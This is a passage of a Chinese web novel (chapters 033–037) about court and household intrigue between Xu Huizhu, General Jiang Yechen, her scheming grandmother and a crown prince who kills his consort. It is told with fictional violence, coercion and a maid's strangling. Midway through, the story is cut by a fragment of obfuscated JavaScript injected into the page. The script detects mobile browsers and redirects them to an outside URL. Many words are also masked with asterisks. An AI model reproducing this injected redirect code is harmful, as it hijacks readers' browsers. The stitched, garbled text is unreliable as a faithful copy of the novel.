宋世茂是**,但他死前指证老夫人下药,是真是假,按照审讯惯例,还得问询老夫人和徐云晗。
平义刚离开,普神医兴冲冲跑进来,“啧啧啧,医学奇迹啊,四小姐被宋世茂抓住头发撞击床沿十几下,命还在。”
“四小姐这命挺硬。可惜,毁容了。”
姜夜沉凑过来,“徐慧珠,你这位妹妹倒是生命力顽强,耐揍,是个习武的苗子,假以时日能练成铁头功。”
将军这嘴,又利又损,还八卦。
“将军没听过一句话:祸害都长寿。”
“不过,云晗妹妹如今容貌受毁,清白受损,不知她有没有死心,还想爬将军的床?”
“若云晗妹妹爬床,将军当如何?”
姜夜沉的话,徐慧珠稳稳接住。
“丢到军中红帐,可夜夜爬男人的床,享受不同儿郎,品尝千般滋味。”
“四小姐不过容貌毁损,身子能用。”
将军这嘴,有毒。
徐慧珠点了点头,“将军这个法子极妙,云晗妹妹身为安国子民,定心甘情愿为安国付真心尽全力。”
两人明明在咬耳朵,却被徐从德听得清清楚楚。
徐慧珠等于在告诉他,今日之事,老夫人和徐云晗是螳螂,她和姜夜沉是黄雀。
谁是蝉?
第033章:丧子之痛,哪个母亲能承受得住
苏氏醒来,又哭又闹。
眼泪流干。
干嚎。
她扬言要在尚书府为宋世茂举办丧事,停灵四十九天,还要请大平寺和尚日夜诵经。
苏氏的要求于理过分,于情可理解。
毕竟,丧子之痛,哪个母亲能承受得住?
宋世茂死在尚书府是众人见证的事实,徐云晗清醒后却说宋世茂觊觎自己的美貌。
现成的动机,宋世茂想要攀附上徐从德求官。
前几日苏氏领着媒人登门提亲,被老夫人严厉拒绝,两家闹的很不愉快。
这事,尚书府上到主子,下到奴仆,皆可作证。
哪成想,宋世茂丧心病狂,借大小姐生辰宴之机,假意向老夫人请安,实则当面求爱。
求爱被拒便用强,欲生米煮成熟饭,徐云晗惊恐之下,拼力反抗,激**人。
前不久,激**妻的是徐从武。
难道?
激**人,还能遗传?
如今,徐晓晗的容貌被毁,一生被毁,活着也是生不如死。
她徐云晗,何其无辜。
事情的真相到底如何?反正另一个知情者——宋世茂已经死的不能再**。
此刻,煮雨院里迎来一位稀客。
“父亲怎么有空来我的煮雨院,叙一叙二十年来的父女亲情?”
徐慧珠对徐从德,无感且话少,但婚期将近,她突然生出兴致,趁着在娘家的时光,她要和父亲多说话,好好说话。
于是,她又问,“父亲该不会向我讨要主意,如何赶走**儿子却赖上尚书府的宋夫人?”
“徐慧珠,你......你......”徐从德身为户部尚书,身上携带的是算盘,最擅长计算利益。
林月华死前只留下一句匪夷所思的话:徐从德,你此生所寻求的秘密就在徐慧珠身上,待她二十岁后你或许能发现。
林月华,便是徐慧珠的生母。
她是徐从德偷来的女人。
徐从德后悔了,可悔之晚矣。
林月华的遗言,他深深记在心里。
因为,他知道林月华没有说谎。
他从未停止过一刻,渴望得到那个秘密。
他放任徐慧珠平安长大到二十岁,不准任何人与她亲近,也不给旁人发现秘密的机会。
可,姜夜沉莫名成为徐慧珠的靠山,突然打乱他的布局。
徐从德又举着算盘,重新计算一遍利益。
他掌管国库,北疆每一笔军资都从他的手里过,他仔细算过银子,也研究过姜夜沉这个人。
他直接对上姜夜沉,无论输赢,都不划算。
唯有智取。
徐从德打算从现在开始和徐慧珠搞好关系,论一轮父女亲情。
直到他探寻到那个秘密。
徐从德叹息道,“慧珠,过往的事情,包括你的娘亲,为父能解释。”
姜夜沉堂而皇之从卧室走出来,好像......还没睡醒,“徐大人来了。”
姜夜沉走到徐慧珠的身旁坐下,两人挨得极近,身子都快贴上了,“慧珠何时醒来,怎么不叫醒我?”
“我不是告诉过你,本将军一个人入眠,易做噩梦。”
姜夜沉在说什么?
撒娇吗?
徐从德:......
这是什么情况?
眼前的两人何时睡到一起了?
听姜夜沉说话的意思,他们早就睡在一张床榻?
“将军,这......这于礼不合呀。”
也是徐从德教养良好,做不出打徐慧珠两耳光,再骂一句“不知羞耻”。
“徐大人在担心什么?”
姜夜沉满眼冰冷,透着一抹自嘲,“徐大人觉得我能对慧珠做什么?”
这相当于质问徐从德,用脑子想一想,姜夜沉不能人道,他就是夜夜宿在徐慧珠的房里,也是单纯地睡觉。
只睡不做。
“这......”
徐从德哑然。
“也是本将军的不是,忘了告诉徐大人,本将军多年受睡眠困难症的困扰,意外发现慧珠相陪,竟是一剂良药。”
姜夜沉实话实说,至于信不信,就是徐从德的事情了,他无需征得徐从德的同意。
徐从德:这都行?
徐慧珠是姜夜沉的药?治病良药?
天下无奇不有,这奇怪的事情,就让他遇上了。
“能做将军的药,是慧珠之幸之福。”
徐从德已从震惊恢复如常。
姜夜沉用兵以诡异闻名,当上锦衣卫统领后,谁都知道,姜夜沉是皇帝手里最锋利最有用的一把刀。
**如麻,嗜血如命。
私底下,朝臣骂姜夜沉是皇
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帝身边嘴愚忠的一条狗,带头骂的就是太子。
不过,大家骂得没错,姜夜沉冷酷无情,谁的脸面都不屑给,哪怕是太子的东宫,姜夜沉照闯。
前些时间,姜夜沉手里的剑才割断重殷先生的头颅。
重殷先生,是太子最为倚重的幕僚之一,还是太子的棋艺先生。
太子的脸面,碎裂一地。
“听说东宫的后院空置了好几个位置......”
姜夜沉没睡饱,他得拉着他的“良药”相陪。
徐从德这个时候打搅,实在碍眼碍事。
他的良药,一点儿也不苦,又娇又软又暖,抱在怀里,舒服到想一直一直沉睡下去。
既如此,姜夜沉便看在徐慧珠的面子,给他指一条明路。
“将军怎么生出兴致掺和东宫的后院?将军不喜太子,还是憎恨太子?”
“纯属恶心一下。”姜夜沉牵起徐慧珠的手,调侃道,“你爹刚给的灵感。”
徐从德是一只老狐狸。
又狡诈又阴险又会算账的老狐狸。
他亲自走一趟伯府,求见家主宋鸿,也就是宋世茂的父亲。两个男人在书房详谈一个时辰,出府时,宋鸿送至马车,大有依依惜别不舍之意。
当天夜里,宋鸿领着一队护卫悄悄搬走宋世茂的棺木,也不知宋鸿如何说服苏氏,再也没登门闹过。
夜里,姜夜沉又过来蹭床,老话说得是,凡事有再一再二,就会有再三再四,姜夜沉这是睡她睡上瘾了。
煮雨院是她的闺房,床是她睡了十几年的床,凭什么让给姜夜沉?
徐慧珠熬了两晚,果断放弃,心想,她矫情什么劲儿?反正再过几日,她就渐渐失去自己的名字,变成姜夜沉后院的贵妾徐氏。
“怎么?和我睡一张床榻,亏了你?委屈了你?”
姜夜沉头一回遇见爬床不积极,还自带情绪的女人。
就算京城传他不能人道的流言蜚语漫天飞,自荐枕席的美人儿也仅仅比从前少了些,他仍是京城万千美人儿恨嫁的良人。
看,这就是权势的魅力。
“父亲说得对,我有幸成为将军的治病良药,不知惹来多少贵女的羡慕嫉妒恨。我怎么能嫌弃将军呢?”
“只是我这床榻狭小,我担心将军睡不好......”
第034章:容貌毁了,还能配对阴婚
徐慧珠话未说完,却被姜夜沉一拉,拥入怀中。
手开始不安分,一会儿捏捏她的胳膊,一会儿又摸她的肚子,一会儿捏捏她的腰,一会儿又摸到她的春光......
他是在盲人按摩?
“将军?”
徐慧珠企图反抗,但男女力气本就悬殊,就算她会武功,可在姜夜沉这样的强者面前,她就是一只毛茸茸的猫。
姜夜沉觉得揉搓好玩舒爽,就肆意着来。
徐慧珠气不过,靠武力不行,她就靠嘴皮子,也要气一气姜夜沉才划算。
她一个人吃亏。
万万不能。
“将军觉得我们现在这样像什么?”
“偷情?”姜夜沉接话倒快。
“不,像深宫里的太监和宫女对食。”
“太监虽不能人道,但太监仍向往男女爱情,也奢望体验床榻欢好。”
“其实,我觉得......也挺好。”
姜夜沉怒了。
下一瞬,徐慧珠便感觉到身子一凉,这家伙竟粗暴撕碎她的衣裙,一床锦被下面,他穿着里衣,包裹严实。
她却是被剥开粽叶的白米粽,他打算一口一口吃掉她吗?
“嗯,还是脱了衣裙抱着更舒服。”
“慧珠想玩太监与宫女对食的游戏,我乐意奉陪,不过,得等到洞房花烛夜。”
姜夜沉从后面抱住她,脸贴在她的背上,嘴巴一边吧嗒吧嗒说话,一边抽空在她的肌肤上蹭啊蹭。
他是......没用晚膳?
是不是要在她的背上撒点孜然芝麻,凉拌了吃?
“说正事!”
“敢情刚刚将军的孟浪行为,是说正事儿的前戏?还是我听将军说正事要付出的代价?”徐慧珠的身子被姜夜沉禁锢住,完全失去了自由,动弹不得。
她不禁想,如果姜夜沉哪一日心血来潮,会不会把她当作枕头睡一夜?枕着“鲜肉枕头”睡得更香甜?
“没想到慧珠私下这般调皮。”
他觉得她调皮。
她觉得他可爱。
姜夜沉觉得好奇怪,身体里似乎藏匿着一股神秘的力量,指引他接近徐慧珠,也指导他说话、行事。
他真实的一面,甚至另一个幼稚的自己,正一点一点暴露在徐慧珠的面前。
“苏氏病了,宋鸿让她病的。”
“徐从德提出的三个条件,诱惑力太大,宋鸿应了。”
徐从德走这一趟伯府,不可能会失败。
如果谈崩,只能说明徐从德小气,这户部尚书当的不称职,许以重利,定能成功诱惑到宋鸿。
宋鸿,唯利是图之人罢了。
姜夜沉只需说个开头,徐慧珠就能准确猜到过程。
“宋世茂的死,苏氏最痛苦最悲伤。”
“相比之下,宋鸿的伤心仅持续到他见徐从德之前。”
“**一个宋世茂算什么,不就是嫡子嘛,宋鸿又不缺儿子,他自会挑选优秀的庶子,待庶子记在苏氏名下,就是身份尊贵的嫡子了。”
“至于苏氏,她就是有能力老蚌怀珠,府里的姨娘和庶子们怕也不会给她机会。”
世家大族里的弯弯绕绕,万变不离其中,主调雷同。
徐慧珠扭动一下腰肢,她被抱着,像主人抓住猫,窝在怀里,舒爽的是姜夜沉,难受的是她。
但,姜夜沉只顾着享受,才不管她的意愿和情绪。
“我倒是好奇父亲能给得起哪三个诱人条件?难道......与将军有关?”
姜夜沉的眼睛亮了,怀里的女子,不仅能助他入眠,抱着也舒爽,还聪明。
一点就透。
“第一,宋世雅为礼物,送入东宫。”
“伯府早就想攀附太子,苦于没有门路。”
“第二,徐云晗嫁给宋世茂,配对阴婚,尚书府愿准备五万两银子为嫁妆。”
“伯府穷的很,缺银子缺疯了。”
“第三,徐从德几乎明示宋鸿,尚书府的身后站着我。”
“宋鸿放任苏氏在尚书府大闹,待闹得气氛僵硬之时,宋鸿适时提出和好,以谋求更多好处。”
“可宋鸿绝不敢得罪本将军,如果能跟本将军搭上关系,莫说让他死一个嫡子,就是再死嫡妻,他也觉得值得。”
宋世茂的棺木回府的第二日,一顶小轿抬入伯府,徐云晗身穿大红嫁衣,戴着面纱,怀里抱着宋世茂的灵牌,拜完天地拜公婆,接着送入洞房。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643800|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>徐晓晗的洞房,是宋世茂的灵堂。
徐云晗一个人守着宋世茂的棺木,整整一夜,算作入洞房。
礼毕。
婚成。
嫁妆五万两银票,直接送到宋鸿的手里,入了伯府的公中。
徐慧珠身在内宅,打探消息不便,她的身边只有金夏一个顶用,但尚书府规矩多,奴婢出府次数有限制。
关键是,自姜夜沉要求夜里提供陪睡服务,她和金夏已好些日子没法当夜猫子了。
她都免费陪睡了,听点消息,才不算亏得太狠。
翌日,待徐慧珠醒来,床榻另一边已空,放着一套新的寝衣。
“大小姐醒了,将军上朝前着人送来一箱寝衣,款式和颜色很多,都是极精贵的料子。”
金秋脸颊绯红,将军送给大小姐礼物,怎么能送寝衣这类贴身衣物?
怪难为情的。
金秋禁不住想歪了,传闻将军不能人道,将军每晚抱着大小姐,美人在怀,将军是什么感觉?
不难受吗?还是坐怀不乱?
可,如果将军没感觉,那大小姐呢?大小姐身体健康,能忍得住?
金秋羞的满脸通红。
徐慧珠看了一眼睡裙,心里没什么想法,姜夜沉昨夜弄坏她一条睡裙,然后赔她一箱睡裙。
理应如此。
姜夜沉的怪癖,她还是忍一忍算了,对待不能人道的男人,还是自己的男人,要有足够的宽容心。
“金秋,你去叫下金夏,用完早膳让她陪我去慈心院看望祖母。”
徐慧珠从暗格里取出一只瓷瓶,“这是普神医开的保胎药丸,你和金冬看着金春吃。”
“然后,告诉金春,她在我这里,能不能活命,就看她是否养好腹中胎儿?”
“在金春房间的房梁上悬挂一条麻绳,金春若闹着寻死,帮她一把。”
“是。”金秋脆生生应下,金春为了苗耀祖背叛大小姐,简直瞎了眼睛坏了良心。
“好了,金秋莫气恼,你家大小姐又不傻,怎么会对背叛者仁慈呢?”
“金春这只猪仔嘛,养肥了放血。”
金春腹中孩儿养的好,接下来,她要组局的戏才会更精彩......
第035章:老夫人怎会有坞国皇室秘药?
慈心院。
徐慧珠有两日没来看望老夫人,今日恰好是徐云晗的大喜日子,这等喜事,老夫人又最疼爱徐云晗,怎能藏着掖着不告诉老夫人,让老夫人也高兴高兴。
同喜嘛。
“大小姐安好!”
肖嬷嬷一看见徐慧珠,赶忙放下药碗恭敬行礼。
“祖母还未醒来?”徐慧珠问道。
“回禀大小姐,老夫人已昏睡了两日。”
“普神医说老夫人这样昏睡也好,人在睡梦中能凝聚精气神。”
“刚刚老奴好像看到老夫人的眼睫毛动了......”
肖嬷嬷明着提醒徐慧珠,老夫人已经醒了,只是在装......
“祖母福泽深厚,很快会醒来的。”
“对了,肖嬷嬷,晓晗妹妹和宋世茂配对阴魂的事情,这几日先瞒着祖母,普神医交待过,祖母已有卒中前兆,情绪不可激动。”
“听说中风之人躺在床上,跟活**没区别,祖母万一中风,岂不可怜**。”
不醒是不?当面咒老夫人**,看她能不能憋得住气。
“肖嬷嬷照顾祖母辛苦了,对了,听说你家里有个孙女。”
“我刚好在挑选奴婢,肖嬷嬷若是愿意让你那孙女随嫁去将军府,便带来我瞧瞧。”
肖嬷嬷大喜,跪下磕头,“愿意愿意,能伺候大小姐,是阿琴那丫头的福气。”
老夫人的睫毛颤了颤,仍是倔犟到不肯睁开。
她气啊。
难怪她看肖桂兰这老货不顺眼,原来早就暗里投靠了徐慧珠。
更过分的是,徐慧珠一介小辈敢把手伸进长辈的房里,截她的胡。
阿琴是她选中要送到悦城给徐从武暖床的,她可怜的幺儿,唯有她这个当母亲的心疼。
还有晓晗,怎么能嫁给一个**,晓晗是要嫁给姜夜沉,救回她苦命的从武。
老夫人气到心口起伏,她斗不过李氏也就罢了,怎么连徐慧珠一个黄毛丫头都斗不过。
岂有此理。
徐慧珠笑容灿烂,没关系,今日老夫人一定会醒来。
“肖嬷嬷,你再去小厨房熬一碗汤药,我来侍奉祖母服药。”
“是,大小姐受累了。”肖嬷嬷会做人,临走前把院子里的奴婢一同打发。
主人说正事大事,身为奴婢少听为好,能保命。
“祖母,还不醒?”徐慧珠搬来椅子,还为自己倒上一杯清茶。
“我手里这壶茶,刚沏的,滚烫的很。”
“祖母脸上的烫伤未好,再添新伤,就不美了。”
老夫人:天杀的,敢拿茶壶滚烫的水浇她,就不怕天打雷劈吗?要是徐从武在,府里谁敢欺辱她?
老夫人不敢醒,徐云晗毁容,被强行送到伯府与**配婚。宋世茂在死之前亲口指证,是她要给徐慧珠和姜夜沉双双下药......
她要如何解释?
姜夜沉会不会弄死她?
她不想死,她还得想法子救回徐从武。
“祖母,孙女喂您喝茶。”
“啊!**啦,救命啊!”老夫人没想到徐慧珠的心是又狠又黑,真的敢用热茶烫死她。
有其父必有其女,徐慧珠跟长子一样,都是没良心的白眼狼,专门来克她和徐从武的。
她做主为徐慧珠安排的亲事有什么不对,有什么不好,堂堂伯府公子配不上徐慧珠吗?
不管怎么说,宋世茂是个完整的男人,徐慧珠嫁给宋世茂,能体验到男欢女爱,能生育儿女承欢膝下......她对孙女掏心掏肺的好,徐慧珠怎么就不懂得感恩呢?
真真是天生的没良心、坏心肝!
老夫人的心里戏,徐慧珠不在意。
坏人变老了,她就让老夫人半截身子埋进黄土前享受一番报应,待到了阴曹地府,老夫人见着娘亲,该跪下求饶。
“祖母?”
徐慧珠任由老夫人抓住她的胳膊摇晃,等老夫人反应过来上当时已经迟了,根本不是滚烫的茶水,而是温水。
姜夜沉的脸色,阴沉的要下雨。
“徐大人,锦衣卫已查出老夫人提供给徐云晗的药来自坞国,本将军体恤老夫人身体不便,亲自询问,老夫人不过后宅妇人如何拥有坞国皇室秘药?”
“没想到本将军亲眼撞见老夫人**慧珠,难道本将军的慧珠在尚书府过得这般凄苦?”
姜夜沉一拉,徐慧珠顺势入怀。
这个男人,总是搅她的好事。
他是她肚子里虫子不成,怎么知道她心里想什么?
徐慧珠不愿在大婚那天,离府之时跪拜老夫人,听老夫人离别训话。
因为,老夫人不配。
徐从德是修炼成精的老狐狸,姜夜沉这一番说辞,能吓得了老夫人
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,却唬不住徐从德。
锦衣卫查案是绝密,徐从德是探听不到,但事关坞国皇室秘药,姜夜沉怎敢独专?
莫说审问老夫人,只怕锦衣卫早已围住尚书府,上到主子下到奴仆,统统下诏狱,大刑伺候。
果然,老夫人本就心里有鬼,更不经吓,她再不了解政事,身为安国子民都知道,安国和坞国那是化不开的世代仇怨。
“不不不,不可能。”
“从武说过,这药是他从塞外高价求来的,百金一颗。”
“从德,真的真的,你相信我,相信从武。”
“我们安分守己待在安国,从没去过坞国,何谈认识劳什子坞国皇室。”
“你快跟将军解释啊,我还病着,对对对,我瘫了啊,不能去诏狱受刑。”
“京城谁不知道,锦衣卫都是地狱里的恶魔,会一百零八种酷刑......”
与坞国皇室沾染上关系,那可是诛九族的死罪。
两相比较取其轻,老夫人宁愿赖活着,也不想掉脑袋。
老夫人舍不得给自己喘息的机会,瞧见徐从德眉头的郁色,她的一颗心止不住往下沉。
她就知道,徐从德大不孝,心里早就盼着她死。
“徐从德,你不孝!”
“老身......老身要告御状,状告户部尚书大人不孝,不配位及高官。”
老夫人口不择言。
“母亲,够了!”
徐从德一张脸涨得通红,老夫人无理搅三分,他受够了,也忍够了。
他就是一座山的铁矿,也被老夫人没日没夜地挖,挖空了。
姜夜沉的提议正符合徐从德算计好的利益,自从他摆脱累赘徐从武,又甩掉惹事精徐云晗,觉得府里的空气都比往日干净些。
现下有机会挪开老夫人这座压在他头上的山,他定会把握住千载难逢的机会。
徐从德没吼过老夫人,这一声吼的,老夫人惊的又又又尿失禁了。
“将军,请到书房里一叙。”
这房间里的尿骚味就是徐从德忍得了,他也万万不敢让姜夜沉的鼻子受辱。
“慧珠,你先回煮雨院等我,记得看一看我送你的礼物。”
“对了,我今日......很累。”
姜夜沉偷偷捏了捏徐慧珠的手指。
当着徐从德的面,撩拨人家女儿,好吗?
第036章:奴婢知道一个天大的秘密
得,姜夜沉这是告诉她,他替她办事,她得赶紧回煮雨院洗干净自己,穿上漂亮的睡裙,暖热被窝......
良药备着。
他要睡觉。
徐慧珠有当“良药”的觉悟,当真听姜夜沉的话,让金秋伺候泡了澡,又熏了香。
“大小姐,这是金春给奴婢塞的银票。”
“一百两,她求奴婢偷偷放她出府。”
“不过,奴婢收下金春的银票,却拒绝帮她干活。”
“大小姐,奴婢聪明吧,就是要气一气金春,气死她活该。哼哼。”
“既是金春贿赂你的银票,就拿着,充盈你的私房。”金秋和金冬明明是一对双生女,性格完全相反,金秋活泼话唠,金冬沉静话少。
主仆正说着话,金夏急匆匆而来,“大小姐,金春想要见您。”
“金春说,她有大小姐您感兴趣的秘密。
徐慧珠发现金春有孕后,给金春单独安排房间,好吃好喝伺候着,名贵补品日日不断,还派身边最稳重的金冬侍奉她。
有时候,金春恍惚以为自己腹中坏的不是苗耀祖的血脉,而是一块金光灿灿的金疙瘩。
金春心里清楚,徐慧珠并非真心,可她沉溺在富贵里,希望自己永远沉沦下去。
“大小姐?”
金春瞧见徐慧珠,赶紧放下手里的燕窝,可能太过激动,左脚踩到右脚,一时站立不稳。
她惊慌之下扯住桌布。
哐当。
碗碟掉落一地,汤汁溅污了金春的衣裙,若不是金冬眼疾手快拉扯,金春便会摔在破碎的瓷器上。
金春:果然如她所想,大小姐不会要她的命。
徐慧珠假装没看见金春的小动作,呵,还是死性不改,要当她的面演戏?
“大小姐,奴婢猪油蒙了心,听信苗耀祖的花言巧语,帮着他们算计大小姐。”
“奴婢后悔了,真的后悔了。”
“奴婢现在才明白这世上能依仗的人是大小姐,奴婢......奴婢羡慕金秋她们......”
金春跪在地上,说着废话。
她说得声情并茂,可惜,膝盖都跪疼了,徐慧珠仍无动于衷。
徐慧珠看向金春的目光,冰冷又不屑,“金夏,日后莫要轻信骗子。”
金夏一愣,转瞬明白大小姐话里的意思,恨恨瞪向金春,“你又骗我?”
顺着徐慧珠的目光暗示,金夏一扯,扯破金春的半边衣袖,露出细嫩的手臂,只是那手里却攥着一块尖利的瓷器碎片。
“大小姐,奴婢......奴婢......”
金春一脸灰白,怎么会,她还没开始动作,就被大小姐破局。
她就不该犯蠢。
“金春,有一件事情,你好像还不知道。”
“我会武功,在金夏之上。”
“我会武功这件事情,金夏金秋金冬都知道,唯有你不知,你说,我从什么时候开始疑心你了呢?”
“媚香和迷香,金春,主仆多年,你对我的好和忠心,真让我意外,也令我感动。”
金春此时又不确定了,大小姐为何突然说这些,像是**犯在问斩之前,狱卒送上的那一碗断头饭吗?
让她死个明白。
她刚试探过,大小姐舍不得她死。
“那晚莫说一个苗耀祖,就是来十个苗耀祖,一样是死的下场。”
“所以,苗耀祖在我的面前是小丑,金春,你也是小丑。”
“有时候,逗弄小丑,也是我闲来无事的乐趣之一。”
徐慧珠的话,犹如一道晴天霹雳,击中金春的心口。
原来如此。
难怪苗耀祖会死,还死在苗氏的床上......
他们设的局,被大小姐破了。
这一刻,金春才感受到真正的绝望。
苗氏和苗耀祖联手都斗不过大小姐,她又如何斗得过。
“大小姐,求您听奴婢解释啊。”
“奴婢自知罪孽深重,想当面跟您说一声对不起,再......再以死谢罪。”
“大小姐对奴婢的千好完好,奴婢只能来世做牛做马报答您。”
“哦?”徐慧珠捏住金春的下巴,轻轻用力,听到骨头碎裂的清脆,倒是悦耳。
“你想自缢,以证明你的悔恨之心?还是打算演一出苦肉计求我放你出府?”
徐慧珠从前怎么没有发现,金春长得面若桃花,心眼子跟迷宫似的弯弯绕绕。
“不,金春,你要杀我,为苗耀祖报仇。”
“徐晓晗是不是告诉你,她已私下里见过苗夫人,只要你杀死
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我,她就保证送你出府,还有法子让你做苗少夫人,将来整个苗家就是你和腹中孩儿的了。”
“飞上枝头变凤凰,说的就是金春你了。”
“金春,你的理想很远大,也够贪心,可惜,你不该踩着我......”
金夏气**,她就不该心软,差点害死大小姐,“金春,你的心果然是黑的。”
“既然金春觉得活够了活腻了,金夏,帮帮她,送她去阴曹地府和苗耀祖再续情缘,有情人终成眷属。”徐慧珠决定今晚就问一问姜夜沉,苗大人雇**徐从武的消息是不是快传到京城了。
京城的热闹,不能停。
“是,大小姐。”
金夏手里攥着麻绳,套在金春的脖子上,一寸一寸勒紧。
金春是煮雨院的一等奴婢,平日里无需干重活,一身肌肤娇养的细嫩白皙,麻绳每勒紧一寸,就在肌肤上留下一道血痕。
她看到大小姐眼里的杀意,恐惧袭遍全身,金春的身体抖成寒冬里的枯叶。
“啊啊啊......”
“大......大小姐。”
“秘......秘密......”
“奴婢......奴婢知道一个天大的秘密......”
普神医炼制的保胎药就是好用,金春的身体养得极好,莫说受到刺激,或跪一个时辰,就是打她一顿,也不会轻易流产。
金夏一松手,金春赶紧扯掉套在脖子上的麻绳。
麻绳上已沾染星星点点的腥血,金春觉得脖子火辣辣的痛,跟刀片划过似的。
不必照铜镜,她能清楚感觉血液往出冒。
一抹,满手腥血。
她吓的失魂。
“金春,你我主仆一场,虽然你给我下药又想害我的命,可我这个人念旧。”
“但愿你说出的秘密能让我心动,能保住你的命,金春,你且记住,这是你最后一次机会......”
“是是是,奴婢明白。”金春跪爬到徐慧珠的脚边,试图抓住徐慧珠的裙摆,却被徐慧珠闪开,披风里面是姜夜沉为她准备的睡裙,不能沾染上别的女人气息。
不然,那家伙睡不着,就会闹脾气。
“奴婢......奴婢背后的.主子另有其人.....”
第037章:孤赐给你的贱名如何?
“奴婢......奴婢听命于老爷。”
徐慧珠以为金春知道的秘密,与苗耀祖有关,没想到事关徐从德。
意外惊喜,还是惊吓?
她的亲生父亲,在她的院子里安插眼线,监视她一举一动。
不等徐慧珠消化金春曝光的秘密,大福来禀,“大小姐,奴才可算寻到您了。”
“请您快点儿回去,将军刚刚在内室没看见你,正生闷气。”
“奴才不敢哄。”
大福实诚,背后说主子坏话脸不红心不跳。
大福心里苦啊,他陪将军自幼一同长大,头一回看见将军不排斥一个女子,还死乞白赖耍心眼赖上徐慧珠。
身为将军的影子,他不操心谁操心,他不助力谁助力,他不心疼谁心疼,这是他的光荣职责,也是身为影子的高尚觉悟。
谁会想到杀神姜夜沉,私下里是一个脾气挺大又幼稚的孩童。
刚走到院子,就看见一身朝服的姜夜沉,这是要出门?
“将军要离府?”
徐慧珠迎上去,正欲解释,若姜夜沉执意生气,她就脱掉披风,给他看看她的诚意。
“皇上急召我入宫。”
姜夜沉凑到徐慧珠的耳旁,滚烫的气息随之如风袭来,“一个时辰前,太子失手打死太子妃。”
“皇上的意思,这件事情必须捂住。”
姜夜沉急匆匆离去。
脸色格外难看。
大福跟在姜夜沉后面碎碎念,“唉,将军又得熬夜了。”
太子打死太子妃?
是了,太子是东宫的王,太子妃不是第一个被活生生打死的女人,也不是第二个。
不知,东宫的枯井里、花圃里埋葬了多少女子的魂骨。
徐慧珠以为皇帝命锦衣卫调查迷香楼,止步于幕僚重殷先生,太子便会见好就收,顺势在东宫反省,以消除皇帝的疑心。
万万没想到,太子在东宫当王当久了,就是一个彻头彻尾的疯子,一个身体和心理双重变态的恶魔。
一旦太子继位,第一个死的就是姜夜沉。
太子有多嫉妒姜夜沉,有多恨姜夜沉,旁人不知,徐慧珠却清清楚楚。
徐慧珠的眼里染上一抹异色,皇帝急召姜夜沉入宫,为善后,也为守住太子打死太子妃这个秘密。
可,姜夜沉却告诉了她,如同随意说今日在市集瞧见的八卦。
他不避着她。
自有用意。
徐慧珠快步走进卧室,脱下睡裙,换上夜行衣。
金夏同样换好夜行衣,金秋也穿上徐慧珠的衣裙,躺在一旁的贵妃塌上。
床榻的话,已沾染姜夜沉的气息,金秋万万不敢睡了。
将军,惹不起。
“大小姐,今夜探哪座府邸?”
“给太子妃报仇!”太子妃的死,让徐慧珠想到一个人,若利用好了,就是捅太子一刀,不致命,也得去半条命。
东宫。
太子跪着,冷汗浸湿里衣,都怪太子妃不经打,他的怒火未消,还未打过瘾,人怎么就**。
此刻,太子妃以怪异的姿态躺在地上,除了一张脸,身上无一处好肉。
可见太子妃生前遭受太子多么猛烈残暴的殴打,鲜活的一个人,被太子殴打致死。
“混账!”
皇帝走进东宫正殿,一脚踢翻太子。
“朕怎么就生出你这个无情无义的混蛋玩意儿。”
姜夜沉正要关闭殿门,守在殿外,却听见皇帝下令,“夜沉留下。”
“是,臣......遵命。”姜夜沉行礼后,站在皇帝的身边。
没办法,太子的笑话,就算姜夜沉不愿看也得硬着头皮看。
太子的狼狈和难堪,姜夜沉不乐意欣赏也得忍着恶心欣赏。
“父皇?”
太子像是受到奇耻大辱,他蹭地一下站起身,甩起巴掌呼到姜夜沉的脸上。
“姜夜沉,父皇叫你来是为孤善后,不是让你来看孤的笑话。”
“身为一条忠狗,就得有当狗的觉悟,不该肖想的东西,莫要痴心妄想。”
太子的这一巴掌,姜夜沉明明能躲得开。
但,他故意不躲。
“太子殿下的意思,是警告臣不该肖想皇上的欣赏和信任?”
“那么,让太子殿下失望了,臣只忠心皇上,自觉得能得皇上的欣赏和信任,没有错。”
“君臣有别,太子殿下这一巴掌,臣受。”
“臣该受。”
“不敢怨言。”
此刻,皇帝的脸色,怒在边缘。
“太子殿下心中有火,也需迟些再宣泄,如今最重要的是如何合理合情安排太子妃的死。”
姜夜沉不卑不亢,不怒不吵,更显得太子无理搅三分。
有对比就有伤害,皇帝对姜夜沉有多欣赏多满意,对太子就有多不满多失望。
皇帝看见太子就来气,又看到太子妃惨死的模样,心中生出一抹难过。
“夜沉,你
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说当如何妥善处置?”
皇帝说完,又一脚踢在太子的腿上。
“混蛋玩意儿,朕让你起身了吗?”
“跪着,跪到知道错为止,要是还不知错,就跪死在东宫。”
太子扇姜夜沉一巴掌,皇帝踢太子一脚。
扯平。
“回禀皇上,臣以为太子妃之死当谨慎处理,以免酿出大祸。”
“今晚太子妃突发疾病,皇上您得知消息后命整个太医院的太医齐聚东宫,为太子妃诊治。”
“奈何药石无灵,太子妃在凌晨时分大去。”
“太子伤心欲绝,向皇上请求,为太子妃守礼一年,并在东宫建一座佛堂,食素抄经,不近女色,不踏出东宫一步。”
“如此,于太子的清誉不损,太子妃也能瞑目了。”
姜夜沉说完,微低着头,安静地站着。
“姜夜沉,你敢害孤?”
不管姜夜沉说什么,做什么,在太子的眼里,都是害他整他。
皇帝却明白姜夜沉的深思远虑,他拍了拍姜夜沉的肩膀,一锤定音,“夜沉,这件事情,就交给你办。”
“青阳那里,你走一趟,告诉他真相。”
皇帝叹气道:“也告诉青阳,朕对不住他,太子欠他一条命。”
“父皇?”太子刚开口,又被皇帝踹一脚。
今夜,第三脚。
“是,皇上。”
姜夜沉恭送皇帝离开。
“锦衣卫听令,从今日起,守卫东宫。”
姜夜沉冷声下达一连串命令。
锦衣卫里自有修复能者,一双手可化腐朽为神奇,纵使太子妃伤痕累累,他也能恢复如初,确保二十四个时辰内不露破绽。
“姜夜沉,你不能走。”
太子气急败坏,随手抓起一只瓷瓶,砸向姜夜沉。
姜夜沉轻巧躲开。
只要他愿意,太子伤不得他。
